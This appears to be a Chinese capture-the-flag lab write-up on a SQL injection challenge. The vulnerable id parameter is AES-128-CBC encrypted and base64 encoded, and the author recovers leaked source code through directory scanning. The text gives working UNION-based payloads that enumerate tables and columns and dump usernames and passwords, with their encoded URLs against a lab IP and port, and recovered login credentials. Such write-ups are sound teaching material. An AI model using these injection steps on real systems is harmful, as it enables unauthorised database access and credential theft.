打开靶场,发现在登录框下方有一个可以点击的地方:

此处,点击后我们就可以发现一个新的页面了!!然后我们在这个页面中呢,我们仔细观察以下url的特征,发现其是利用id= xxx 进行查询的, 因此通过以往进行判断,这里就很可能存在着注入点:

具体来看一下这里的参数:
?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09
根据这个格式,盲猜可能是base64 :
Base64编码,是由64个字符组成编码集:26个大写字母AZ,26个小写字母az,10个数字0~9,符号“+”与符号“/”
于是我们进行解码看看:
第一次解码:

第二次:

发现直接使用解码不太行啊。。。
根据这个格式呢,我们联想到也有可能是AES,但如果是AES的话,需要密钥才能解密。。。 因此,这里进行目录扫描一下看看是否有其余的文件?

然后我们就发现了一个list的压缩包,我们下载下来看看,就发现里面藏着对应的源代码:
+
那么就让我们来分析一下:
0、首先,一眼看出这里使用的是AES加密算法 128位 采用CBC模式;
1、然后对应图中的1处,代表的是AES的密钥;
2、代表的是偏移量;
3 、4 、代表使用了两次的base64
5、 这里要重点说明一下(因为一开始我其实没发现这里,导致一直注入失败!!!!)
这里的意思是将会进行判断我们传入的参数的后六位是否有_mozhe 如果没有则肢解跳转会index.php页面
除此,之外下面的$sql 变量还写入了进行查询的sql语句。。。
通过进行上述的代码审计我们能够轻松并快了的进行注入了!
我们先来解码验证一下刚刚我们分析的,使用网站为:AES加解密
该AES的加解密设置如下图:

先进行一次base64解码:
ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09 ==> eII8c3JeL0t0dxM7wb3Nzg==
然后再放入网站中:

okok。验证没错!!
至此,我们将利用此过程进行sql注入,具体步骤如下:
先写好sql语句 ==> base64编码 >放入AES加解密网站进行加密(此时由于网站自己会再进行一次base64的编码的)> 放入id 之后进行传参即可:
拿显示的列数:
(这里为什么后面加了个_mozhe,请看上文的分析)
1 order by 4_mozhe

http://124.70.71.251:42181/news/list.php?id=Nk90Tmw2QzFmZXR2TzE3SW5FTlZMelZoM296M21teXJqbzNnVDFRbXVmVT0=


经过多次尝试,发现列的数量就是4!!!
拿表:
-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()_mozhe

?id=eGdkNThpcFRybng4VnpTQkppY3FDamtLbjk5ZUsvTkV5cEY5bjBSUGJEK0phT2xlanlibVFQMnZUUDNib1VlVjM4QVNvTU1Lb29pV1VpK3JUS29RdHgxbFFMNUhCTjlvRk5DNndJZjdNSnZTRFlKdjhLVHRTTVZrWHBQMlk5NWp6SnVhY3lVd2l5eE51bnpUYzFWYkRXVllDM1c5UEUxSFUxb2hSaVprTk9rPQ==

拿段:
-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'_mozhe

?id=eGdkNThpcFRybng4VnpTQkppY3FDamtLbjk5ZUsvTkV5cEY5bjBSUGJEOFlaZjExMXovODJUaTF2R1JEMVFwbjl3Mkk2N1BrSE8wNnd1aExrcDVMM0kwMEY1c01iRzlCZUtzTlExT0l0d1Ywc2JmcDdPZnFZeFNnRkVwYmRBbVhNNDhTUmcyMmJUOWJqV203eXVST1RNdnpBeklPWnlnUkxOdDlOWENIbHlZPQ==

拿数据:
-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member_mozhe

?id=eGdkNThpcFRybng4VnpTQkppY3FDcktrNkQ2cFlZbEZQUFFiOWpHYlZrUmMwS3U0V1ZRVDZVZ0ZEMjBEZHBVYUsvYTdlT0sxam5vQWJETjFvOTRLSGVzWGcyNUFtUDgzalVweklDRG0zSWdOWTJNUkw5UFNpTHJ3dWdJSjlsNFc=

解密数据:


登录:
mozhe
863861

成功拿到!!!
这一关,难点主要在于需要我们判断参数后的加解密类型,从而引导我们去目录遍历,拿到对应的源码!!!
然后呢,还需要我们能够对php代码进行审计,从而找出其参数的加密过程。。
其中还有一个坑在于末尾要加上_mozhe
总体而言,感觉难度还是稍有的(于我个人而言)